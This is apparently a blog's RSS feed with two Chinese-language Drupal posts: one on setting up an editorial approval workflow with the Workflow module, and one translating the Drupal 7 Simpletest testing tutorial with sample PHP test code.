<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>drupal | 伪架构师</title>
    <link>/tags/drupal/</link>
      <atom:link href="/tags/drupal/index.xml" rel="self" type="application/rss+xml" />
    <description>drupal</description>
    <generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>zh</language><lastBuildDate>Fri, 08 Jul 2016 05:36:09 +0800</lastBuildDate>
    <image>
      <url>/img/logo-wide.png</url>
      <title>drupal</title>
      <link>/tags/drupal/</link>
    </image>
    
    <item>
      <title>利用 Drupal Workflow 模块实现审批发表流程</title>
      <link>/post/publish-workflow-in-drupal/</link>
      <pubDate>Fri, 08 Jul 2016 05:36:09 +0800</pubDate>
      <guid>/post/publish-workflow-in-drupal/</guid>
      <description>

&lt;p&gt;工作流，在大多数出版和办公情景下都属于一个必选组件。在之前的译文中我也介绍了一些相关的 Drupal Module，不过之前的介绍都流于表面，并没有很完整的解决问题，因此这里以一个典型的编辑审批流程为样本，详细介绍 &lt;a href=&#34;https://www.drupal.org/project/workflow&#34; target=&#34;_blank&#34;&gt;Workflow&lt;/a&gt; 模块的工作流设置方法。&lt;/p&gt;

&lt;h2 id=&#34;目标需求&#34;&gt;目标需求&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;编辑人员在未完成编辑时，可以暂存草稿。&lt;/li&gt;
&lt;li&gt;编辑完成之后，提交给上级进行审核。&lt;/li&gt;
&lt;li&gt;审核人员可以选择批准或者驳回，审核通过的稿件即可发布，未能通过的则退回到草稿箱。&lt;/li&gt;
&lt;li&gt;只有审核通过的内容才能被浏览&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;这里假设读者熟悉一般的 Drupal/Drush 操作，能够自行解决模块依赖等常见问题。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先是安装，这里我们用 Drush 来解决：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;drush en -y workflow
#访问控制
drush en -y workflow_access
#Workflow和内容的关联
drush en -y workflowfield
#rules 集成
drush en -y workflow_rules
#views集成
drush en -y workflow_views
#管理界面
drush en -y workflow_admin_ui  
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其次，我们建立两个角色：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编辑：editor&lt;/li&gt;
&lt;li&gt;审核：auditor&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;设置工作流&#34;&gt;设置工作流&lt;/h2&gt;

&lt;p&gt;根据上面的需求，我们可以确定，一篇文章有以下几个状态&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建&lt;/li&gt;
&lt;li&gt;草稿&lt;/li&gt;
&lt;li&gt;审核&lt;/li&gt;
&lt;li&gt;通过&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;以此为依据，我们开始建立工作流：&lt;/p&gt;

&lt;p&gt;访问 &lt;code&gt;admin/config/workflow/workflow/add&lt;/code&gt; （配置-&amp;gt; Workflow）开始&lt;/p&gt;

&lt;p&gt;命名，这里我们起名为“发布流程”，机读名称为 “workflow_publishment”。
保存后，开始编辑工作流的其他内容：
切换到&lt;code&gt;states&lt;/code&gt;标签页，按照前面的结果输入状态，其中缺省的&lt;code&gt;creation&lt;/code&gt;状态代表了我们的“创建”状态。录入结果如图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_status.png&#34; alt=&#34;workflow states&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里我们给发布内容确定了四个状态，而工作流所做的工作的中心，就是状态的切换，定义了状态之后，我们打开&lt;code&gt;Transitions&lt;/code&gt;标签页面开始定义他的切换，界面如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_transitions.png&#34; alt=&#34;状态迁移&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个表格初看上去比较费解，这里做个简单的解释
这个表格的意思是，每个单元格，所在行（最左侧，行首）的状态，到所在列（最上排，列头）的状态之间的切换，可以由什么角色来完成。&lt;/p&gt;

&lt;p&gt;因此图上的箭头 1，代表从创建到草稿的状态切换，可以由作者或者一个&lt;code&gt;editor&lt;/code&gt;角色的人来完成；而箭头2，代表从创建到审核过程是没有人可以做的，换个说法就是不存在这种切换。按照这个概念，我们最终完成切换设置如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_transition_result.png&#34; alt=&#34;状态迁移设置结果&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在设置完成各个状态之间的切换后，还有一个可选配置，就是给每个状态的切换动作进行命名，这些命名会显示在工作流按钮之上，给最终用户以更加清晰的指引。这一步骤位于“Labels”这一标签页上。&lt;/p&gt;

&lt;p&gt;这里我们做出如下命名：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;left&#34;&gt;从&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;到&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;名称&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;送审&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;通过&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;发表&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;驳回&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;发表&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;撤回&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_access.png&#34; alt=&#34;权限设置&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后我们可以在 &lt;code&gt;Permission Summary&lt;/code&gt; 这一标签页来查看我们的设置，其中显示了各个角色能够完成的状态迁移。&lt;/p&gt;

&lt;h2 id=&#34;设置访问权限&#34;&gt;设置访问权限&lt;/h2&gt;

&lt;p&gt;在实际工作中，一般来说，提交到下一环节的内容，原作者就不应该尝试变更了。而审核人员也不应该尝试修改编辑人员的草稿，为了流程的严谨性，我们还需要对访问权限进行设置。&lt;/p&gt;

&lt;p&gt;之前我们启用的&lt;code&gt;workflow_access&lt;/code&gt;模块就是用于这个目的。&lt;/p&gt;

&lt;p&gt;这里我们设置所有人可以看所有流程的文档。&lt;/p&gt;

&lt;p&gt;但是只有作者可以修改草稿状态的文档，只有审核人员可以修改审核过程中的文档。&lt;/p&gt;

&lt;h2 id=&#34;验证设置结果&#34;&gt;验证设置结果&lt;/h2&gt;

&lt;h3 id=&#34;设置文档类型&#34;&gt;设置文档类型&lt;/h3&gt;

&lt;p&gt;这里我们新建一个简单的内容类型，命名为“需审核文档”，机读名称为“workflow_document”。保存后，为其添加字段&lt;code&gt;field_workflow&lt;/code&gt;，字段类型为&lt;code&gt;workflow&lt;/code&gt;，这一字段类型是由&lt;code&gt;workflow_field&lt;/code&gt;模块声明的。这一类型的字段也是让文档流程化的关键点。&lt;/p&gt;

&lt;p&gt;字段设置中，我们选择&lt;code&gt;workflow type&lt;/code&gt;为我们之前设置完成的工作流名称，也就是&lt;strong&gt;“发布流程”&lt;/strong&gt;，下面的微件类型，依照个人喜好，我比较习惯用按钮方式来呈现。&lt;/p&gt;

&lt;p&gt;下面的两个记录选项，打开即可。&lt;/p&gt;

&lt;p&gt;新建文档类型之后，需要为之前新建的角色分配权限。值得注意的是，&lt;strong&gt;Workflow Access 模块改写了核心的权限，因此，这里只需要给编辑人员新建这一类型文档的权限即可，其他权限由工作流进行控制。&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&#34;新建文档&#34;&gt;新建文档&lt;/h3&gt;

&lt;p&gt;首先我们切换到&lt;code&gt;editor&lt;/code&gt;角色的用户，新建一篇文档，保存后，我们会发现，多出一个工作流的标签页，其中按照我们之前对动作的命名，有草稿和送审两个状态。&lt;/p&gt;

&lt;p&gt;这里我们可以分别切换成审核人员、管理员、匿名用户来分别查看这一 Node 对不同用户的权限区别以此验证我们之前对 Access 的设置是否正确。&lt;/p&gt;

&lt;p&gt;新建结束之后，点击“送审”按钮，完成提交。&lt;/p&gt;

&lt;h3 id=&#34;审核发布&#34;&gt;审核发布&lt;/h3&gt;

&lt;p&gt;接下来切换到审核账号，打开这篇新文章之后，我们可以点击“发表”按钮，完成发表动作；也可以选择“驳回”，让编辑人员重新编辑。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这里按照我们之前的访问控制设计，审核人员是可以进行修改的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;发布后&#34;&gt;发布后&lt;/h3&gt;

&lt;p&gt;按照之前的设置，所有符合要求的角色都可以查看发布完成的结果了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：如果想让匿名用户可以查看这一文档，则需要在权限中为匿名用户打开参与工作流的权限，并在上面的流程中，为匿名用户指定可以查看的状态。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;views&#34;&gt;Views&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;workflow_views&lt;/code&gt; 启用之后，会自动新建一个视图，称为&lt;code&gt;workflow dashboard&lt;/code&gt;，其中包含了各种 Views 所需的字段过滤条件等，可以拿来参考。&lt;/p&gt;

&lt;h2 id=&#34;rules-actions&#34;&gt;Rules &amp;amp; Actions&lt;/h2&gt;

&lt;p&gt;Wrokflow 同样对这两部分进行了集成，可以根据不同流程的状态切换，结合 Actions 来完成一些自动操作。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7 测试指南（simpletest）</title>
      <link>/post/drupal-7-simpletest/</link>
      <pubDate>Mon, 27 Jun 2016 21:22:58 +0800</pubDate>
      <guid>/post/drupal-7-simpletest/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/docs/7/testing/simpletest-testing-tutorial-drupal-7&#34; target=&#34;_blank&#34;&gt;Simpletest Testing tutorial (Drupal 7)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本指南中的代码在 &lt;a href=&#34;http://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Examples 模块&lt;/a&gt;中维护。这意味着：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;你可以获得一份拷贝，进行修改和试验。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果发现了问题，可以提出 issue，并获得修正。当然，尤其欢迎给出补丁或增强功能的帮助。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个指南能够帮你了解 Drupal 测试的基础知识，随后你应该有能力编写自己的第一个测试。在本例中，我们会创建一个叫做 &lt;em&gt;simpletest_example&lt;/em&gt; 的测试模块。这个模块提供一种名为 &lt;em&gt;simpletest_example&lt;/em&gt; 的内容类型。这个内容类型跟基础的 Drupal Node 是一致的。接下来会解释如何通过测试来证明 &lt;em&gt;simpletest_example&lt;/em&gt; 这一内容类型能够正常工作。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先，我们要确认已经安装了 Simpletest 模块。Drupal 7 中，Simpletest 随核心发布，命名为 Testing。请确认该模块是否被激活。&lt;/p&gt;

&lt;p&gt;Simpletest 的测试信息在 Drupal 7 中是个缺省设置，不过因为的确有用，所以还是要确认一下这个选项是打开的，这个选项打开后，会在测试的每个点生成一个截图，来展示当时的状态。可以在 &amp;ldquo;admin/config/development/testing/settings&amp;rdquo; 检查这个配置。&lt;/p&gt;

&lt;p&gt;在 Drupal 7 中，Simpletest 2.x 版本也作为&lt;a href=&#34;http://drupal.org/project/simpletest&#34; target=&#34;_blank&#34;&gt;外部模块&lt;/a&gt;提供，如果你下载和启用了这个模块，他会覆盖核心的Simpletest。另外，模块的.info 文件需要 testing_api = 2.x 才能识别，所以核心测试对 Simpletest 2.x 是无效的。&lt;/p&gt;

&lt;h2 id=&#34;drupal-simpletest-的运作方式&#34;&gt;Drupal Simpletest 的运作方式&lt;/h2&gt;

&lt;p&gt;Drupal基本上是一个提供 Web 相关功能的系统，所以对这些功能的检测就是很必要的。Simpletest 创建一个完整的 Drupal 实例，以及一个虚拟的浏览器，然后使用虚拟浏览器去测试这个 Drupal 实例，跟手动工作的情况类似。必须要注意的是，每一个测试都是在一个新的 Drupal 实例下运行的。换句话说，当前站点的用户和配置都是不存在的，所以在 Drupal 核心之外的模块也没有被启用。所以如果你的测试序列需要一个有特别权限的用户，就必须创建一个出来（这跟从头新建一个站点的情况类似）。如果对模块有依赖，也需要启用。如果对配置参数有需求，也必须用 Simpletest 来进行配置，这是因为你的当前站点的所有配置都不会被复制到这个测试实例之中，files 目录中的内容也同样不会被拷贝过去，用户同样也都不存在。然而这些任务都可以在 Simpletest 的命令中来完成，下面我们会介绍其中的一小部分。&lt;/p&gt;

&lt;h2 id=&#34;关于-simpletest-example-模块&#34;&gt;关于 Simpletest Example 模块&lt;/h2&gt;

&lt;p&gt;Simpletest Example 模块提供了一种自定义的 Node 类型。这个类型具有一个标题和内容字段。这给我们用来演示创建内容的方法。例子中实现了 *hook_node_info()*，来让 Drupal 知道这个节点类型，还实现了 &lt;em&gt;hook_form()&lt;/em&gt; 为 Node 提供一个 Form。这个模块还提供了相关的权限，来完成创建和编辑这一 Node 类型的许可。当然，我们还有一个 simpletest_example.info。&lt;/p&gt;

&lt;p&gt;注意我们的模块有个bug：权限的处理不太对头。虽然存在编辑 simpletest 示例的权限，可惜并没有正确的被 &lt;em&gt;simple_test_access()&lt;/em&gt; 处理，所以我们即使有这个权限，还是无法进行编辑。当然，我们如果手工测试的话，很可能因为我们用的是 1 号用户而导致无法复现这个情况。&lt;/p&gt;

&lt;p&gt;（又开始插播广告了——译者注）这些代码由 &lt;a href=&#34;http://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Example 模块&lt;/a&gt;提供和维护。在你作出一些重要变更之前，利用这一模块中的代码进行测试修改以及实验是非常有帮助的，欢迎大家下载安装并使用这些模块。&lt;/p&gt;

&lt;h2 id=&#34;我们做什么&#34;&gt;我们做什么&lt;/h2&gt;

&lt;p&gt;如果你安装了 simpletest_example，你可以跟随这些步骤来看看需要测试的内容：&lt;/p&gt;

&lt;p&gt;浏览 *Content &amp;gt; Add new content &amp;gt; Simpletest Example Node Type*，会看到如下页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule.png&#34; alt=&#34;Create Mymodule page&#34; /&gt;&lt;/p&gt;

&lt;p&gt;查看一下界面，确定我们要测试的内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule_identify.png&#34; alt=&#34;Create Mymodule page&#34; /&gt;&lt;/p&gt;

&lt;p&gt;手动试一下这些功能，熟悉一下即将测试的界面，并保证在 simpletest 执行之前，基本功能是可用的。如果连怎么运行都不知道，是无法编写一个可用的测试用例的。这里只要简单的在标题和内容中写几个字，然后点击保存按钮，应该会看到类似这样的结果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule_submit.png&#34; alt=&#34;Test title&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;为-simpletest-example-建立测试&#34;&gt;为 simpletest_example 建立测试。&lt;/h2&gt;

&lt;p&gt;现在是时候创建我们的测试了，我们将在 simpletest_example.test文件中完成这一任务。&lt;/p&gt;

&lt;p&gt;如果你要向 Drupal 7 模块中新增一个 .test 文件，你应该把它加入到 info 文件的 files[] 中。在我们的例子中，我们在 simpletest_example.info 中加入了这样的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;files[] = simpletest_example.test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你在使用前面提到的 Simpletest 2.x，你可能还需要在 .info 文件中加入这一行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;testing_api = 2.x
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你要往一个现存的模块中添加 .test 文件，那么可能需要重建 Drupal 的缓存，来通知 Drupal 有新文件加入。&lt;/p&gt;

&lt;p&gt;建立一个测试需要有四个基础步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;创建一个结构：继承 DrupalWebTestCase。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在测试用例的初始化过程中，创建配置信息，用户等，作为准备工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在测试用例中创建实际的测试。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;当然，如果出了问题，查查为什么测试无法正常工作，并对测试或被测试模块进行排错。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;首先，我们继承一个 DrupalWebTestCase 作为基本的模板。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
   * Tests the functionality of the Simpletest example content type.
   */
  class SimpletestExampleTestCase extends DrupalWebTestCase {
    protected $privileged_user;
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来，是很重要的 setUP() 过程。这里我们必须做点事情让这个 Drupal 实例能够按照我们期望的方式来运行。我们必须要清楚：如果我们新建一个 Drupal 站点，我们要做什么才能满足我们测试需要的条件？本例中，我们知道我们需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;启用 Simpletet Example 模块&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;建立一个有权创建 simpletest_example 内容的用户&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;用这个新建用户登录&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面的 setUp() 代码用来完成这些任务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  public function setUp() {
    // Enable any modules required for the test. This should be an array of
    // module names.
    parent::setUp(array(&#39;simpletest_example&#39;));
    // Create and log in our privileged user.
    $this-&amp;gt;privileged_user = $this-&amp;gt;drupalCreateUser(array(
      &#39;create simpletest_example content&#39;,
      &#39;extra special edit any simpletest_example&#39;,
      ));
    $this-&amp;gt;drupalLogin($this-&amp;gt;privileged_user);
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在 Drupal 6 中，我们必须显式的启用所有被依赖模块。Drupal 7 会自动启用这些需要的模块。&lt;/p&gt;

&lt;h2 id=&#34;编写指定测试-创建-node&#34;&gt;编写指定测试：创建 Node&lt;/h2&gt;

&lt;p&gt;现在我们要练习实现指定的测试内容。我们只要为前面的 test 类添加成员方法就可以了，每个成员方法会实现一个练习。所有的成员函数名都应该以小写的 &amp;lsquo;test&amp;rsquo; 开始。所有这类函数都会自动被 Simpletest 识别并按需运行（注意，虽然可以把每个断言放到一个不同的函数中，但是还是推荐一次运行多个不同的断言）。&lt;/p&gt;

&lt;p&gt;我们的第一个测试是利用 &lt;em&gt;node/add/simpletest-example&lt;/em&gt; 中的 form 创建一个新的simpletest_example 类型的 Node：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
    * Tests creation of a Simpletest example node.
    */
  public function testSimpleTestExampleCreate() {
    // Create node to edit.
    $edit = array();
    $edit[&#39;title&#39;] = $this-&amp;gt;randomName(8);
    $edit[&amp;quot;body[und][0][value]&amp;quot;] = $this-&amp;gt;randomName(16);
    $this-&amp;gt;drupalPost(&#39;node/add/simpletest-example&#39;, $edit, t(&#39;Save&#39;));
    $this-&amp;gt;assertText(t(&#39;Simpletest Example Node Type @title has been created.&#39;, array(&#39;@title&#39; =&amp;gt; $edit[&#39;title&#39;])));
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;drupalpost-drupalget-和-assertions&#34;&gt;drupalPost, drupalGet 和 Assertions&lt;/h2&gt;

&lt;p&gt;上面的代码是一组非常简单的 Form 提交，提交的目标是 &lt;code&gt;node/add/simpletest-example&lt;/code&gt; 页面。他做了一个字段的数组（ &lt;code&gt;$edit&lt;/code&gt; 数组，为标题和内容分配随机内容），然后把这个 form 提交，并检测我们是否后能在页面上获取到相应的内容。&lt;/p&gt;

&lt;p&gt;大多数测试是这样的内容：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;用drupalGet()前往指定页面，或用 drupalPost() 提交一个 form。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;检测指定页面是否出现了符合我们期待的内容。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;$this-&amp;gt;drupalGet($path)&lt;/code&gt; 很简单：浏览指定页面。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$this-&amp;gt;drupalPost($path, $edit_fields, $submit_button_name)&lt;/code&gt; 稍微有点复杂。&lt;/p&gt;

&lt;p&gt;然后就有很多可能的检测，最简单的情况是 &lt;code&gt;$this-&amp;gt;assertText($text_to_find_on_page)&lt;/code&gt; ，如果这篇教程无法满足你的需求，可以在这里获得&lt;a href=&#34;http://drupal.org/node/265828&#34; target=&#34;_blank&#34;&gt;更多帮助&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;测试中的用户和核心环境&#34;&gt;测试中的用户和核心环境&lt;/h2&gt;

&lt;p&gt;测试是在一个沙箱环境中运行的。利用 &lt;code&gt;$this-&amp;gt;drupalLogin($account)&lt;/code&gt; 登录。drupalGet 和 drupalPost 这些测试方法也是运行在沙箱中的。如果你想调用核心API功能（例如 &lt;code&gt;user_access&lt;/code&gt;），强烈推荐将测试用户指派到核心环境之中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
	$account = $this-&amp;gt;drupalCreateUser(array(&#39;access content&#39;));
	$this-&amp;gt;drupalLogin($account);
	global $user;
	$user = user_load($account-&amp;gt;uid);
	$this-&amp;gt;assertFalse(user_access(&#39;access content&#39;));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Simpletest 在测试期间，把用户切换到 uid 1，并协助恢复用户，所以我们可以在没有安全问题的情况下改变用户。&lt;/p&gt;

&lt;h2 id=&#34;simpletest-的-web-界面&#34;&gt;Simpletest 的 Web 界面&lt;/h2&gt;

&lt;p&gt;接下来我们需要运行测试。这里我们要从web界面启动测试。&lt;/p&gt;

&lt;p&gt;进入 &lt;code&gt;Configuration &amp;gt; Development &amp;gt; Testing&lt;/code&gt; 页面，找到刚创建的模块。在这个页面，你会看到两个 Tab：“Settings” 和 &amp;ldquo;List&amp;rdquo;。在 List 页上，你会看到可用测试的列表。选择刚创建的组名为 “Examples” 测试，点击 &lt;code&gt;Run Tests&lt;/code&gt;按钮。在查看这个列表之前，最好晴空一下缓存。&lt;/p&gt;

&lt;p&gt;测试运行之后，就可以获得结果，这个测试的通过情况。&lt;/p&gt;

&lt;p&gt;也可以在命令行下运行测试，更多信息可以参考&lt;a href=&#34;http://drupal.org/node/645286&#34; target=&#34;_blank&#34;&gt;从命令行运行测试&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;测试失败演示&#34;&gt;测试失败演示&lt;/h2&gt;

&lt;p&gt;只是运行一个成功的例子意义很有限，还是看看失败的情况吧。&lt;/p&gt;

&lt;p&gt;我们会用同样的 class 来进行编辑 Node 的测试。我们的模块在这个功能上面有缺陷 —— 没有正确的处理 “edit own simpletest_example” 权限。所以有这个权限的用户也无法进行编辑。在这个测试中，我们会创建一个 Node，并尝试去编辑。&lt;/p&gt;

&lt;p&gt;运行下面的测试，来查看结果。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
    * Tests editing a Simpletest example node.
    */
  public function testSimpleTestExampleEdit() {
    $settings = array(
      &#39;type&#39; =&amp;gt; &#39;simpletest_example&#39;,
      &#39;title&#39; =&amp;gt; $this-&amp;gt;randomName(32),
      &#39;body&#39; =&amp;gt; array(LANGUAGE_NONE =&amp;gt; array(array($this-&amp;gt;randomName(64)))),
    );
    $node = $this-&amp;gt;drupalCreateNode($settings);
    // For debugging, we might output the node structure with $this-&amp;gt;verbose()
    $this-&amp;gt;verbose(&#39;Node created: &#39; . var_export($node, TRUE));
    // It would only be output if the testing settings had &#39;verbose&#39; set.
    // We&#39;ll run this test normally, but not on the testbot, as it would
    // indicate that the examples module was failing tests.
    if (!$this-&amp;gt;runningOnTestbot()) {
      // The debug() statement will output information into the test results.
      // It can also be used in Drupal 7 anywhere in code and will come out
      // as a drupal_set_message().
      debug(&#39;We are not running on the PIFR testing server, so will go ahead and catch the failure.&#39;);
      $this-&amp;gt;drupalGet(&amp;quot;node/{$node-&amp;gt;nid}/edit&amp;quot;);
      // Make sure we don&#39;t get a 401 unauthorized response:
      $this-&amp;gt;assertResponse(200, &#39;User is allowed to edit the content.&#39;);
      // Looking for title text in the page to determine whether we were
      // successful opening edit form. Note that the output message
      //  &amp;quot;Found title in edit form&amp;quot; is not translated with t().
      $this-&amp;gt;assertText(t(&amp;quot;@title&amp;quot;, array(&#39;@title&#39; =&amp;gt; $settings[&#39;title&#39;])), &amp;quot;Found title in edit form&amp;quot;);
    }
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;单元测试&#34;&gt;单元测试&lt;/h2&gt;

&lt;p&gt;Simpletest也提供了 &lt;code&gt;DrupalUnitTestCase&lt;/code&gt; 作为一个 &lt;code&gt;DrupalWebTestCase&lt;/code&gt; 的补充。&lt;/p&gt;

&lt;p&gt;单元测试不会创建数据表和文件目录。这使得单元测试比功能测试的运行更加迅速，同时也意味着他无法访问数据库和文件系统。调用任何访问数据库的 Drupal 函数都会引发异常，这其中就包含了&lt;code&gt;watchdog()&lt;/code&gt;, &lt;code&gt;module_implements()&lt;/code&gt; , &lt;code&gt;module_invoke_all()&lt;/code&gt; 等。&lt;/p&gt;

&lt;p&gt;关于 Drupal 的单元测试的更多信息，可移步到 &lt;a href=&#34;http://drupal.org/node/811254&#34; target=&#34;_blank&#34;&gt;Unit Testing with Simpletest&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;simpletest中使用-t-的时机&#34;&gt;Simpletest中使用 t() 的时机&lt;/h2&gt;

&lt;p&gt;跟Drupal中的字符串不同，simpletest中的字符串一般不需要使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/includes%21bootstrap.inc/function/t/7&#34; target=&#34;_blank&#34;&gt;t()&lt;/a&gt;，这里有两个原因：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;多数字符串只是用来测试，不会出现在网站上，所以无需翻译。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;参与测试的各个不同的组件应该尽量解耦，有利于提供高性能的，可靠的覆盖测试。t() 对于其他子系统有依赖，所以尽量避免。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;什么时候使用-t&#34;&gt;什么时候使用 t()&lt;/h3&gt;

&lt;p&gt;在下列情况下需要使用 t()：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进行翻译或本地化相关的测试。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;测试一个翻译好的内容展现。例如，要检查 403 页面 &amp;ldquo;Access denied&amp;rdquo; 消息，使用下面的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$this-&amp;gt;assertText(t(&#39;Access denied&#39;), &#39;Access denied message found on forbidden foo page.&#39;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意第一个字符串 &amp;ldquo;Access denied&amp;rdquo; ，产生于 &lt;a href=&#34;http://api.drupal.org/api/function/drupal_deliver_html_page/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;drupal_deliver_html_page()&lt;/code&gt;&lt;/a&gt;，接下来用 t() 进行翻译。所以我们也用  t() 来检查这个消息的展现。&lt;/p&gt;

&lt;h3 id=&#34;什么时候不用-t&#34;&gt;什么时候不用 t()&lt;/h3&gt;

&lt;p&gt;下面的情况不要用 t()：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;getInfo() 中的字符串。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;测试消息，重复使用上面的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$this-&amp;gt;assertText(t(&#39;Access denied&#39;), &#39;Access denied message found on forbidden foo page.&#39;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

